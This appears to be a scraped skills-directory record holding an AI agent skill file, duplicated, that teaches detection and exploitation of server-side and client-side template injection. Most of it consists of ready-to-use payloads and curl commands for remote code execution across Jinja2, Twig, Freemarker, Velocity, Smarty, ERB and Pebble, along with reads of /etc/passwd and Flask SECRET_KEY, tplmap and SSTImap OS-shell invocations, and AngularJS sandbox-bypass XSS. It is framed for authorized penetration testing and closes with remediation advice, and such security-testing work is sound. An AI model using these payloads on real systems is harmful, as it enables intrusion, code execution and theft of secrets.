[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M74YR983DXDXDET84J00GKYV":3,"skill-same:01M74YR983DXDXDET84J00GKYV":72},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":38,"repositoryHomepageUrl":6,"ownerHtmlUrl":39,"ownerBlogUrl":40,"ownerDescription":6,"updatedAt":41,"install":42,"resources":55},"01M74YR983DXDXDET84J00GKYV","exploiting-template-injection-vulnerabilities",null,"Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-template-injection-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: exploiting-template-injection-vulnerabilities\ndescription: Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, ssti, template-injection, rce, web-security, owasp]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n","# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody templates\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification templates\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"subdomain":35,"description":7},[26,27,28,29,30,31],"penetration-testing","ssti","template-injection","rce","web-security","owasp","mahipal","cybersecurity","1.0","web-application-security","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill exploiting-template-injection-vulnerabilities",{"tool":48,"command":49},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill exploiting-template-injection-vulnerabilities",{"tool":51,"command":52},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill exploiting-template-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",true,[56,60,66],{"path":57,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":59,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":61,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":64,"sourceHtmlUrl":65},"references\u002Fapi-reference.md","REFERENCE","参考文档",1729,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-template-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":67,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":71},"scripts\u002Fagent.py","SCRIPT","脚本",7993,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fexploiting-template-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[73,81,88,95,102,109],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0F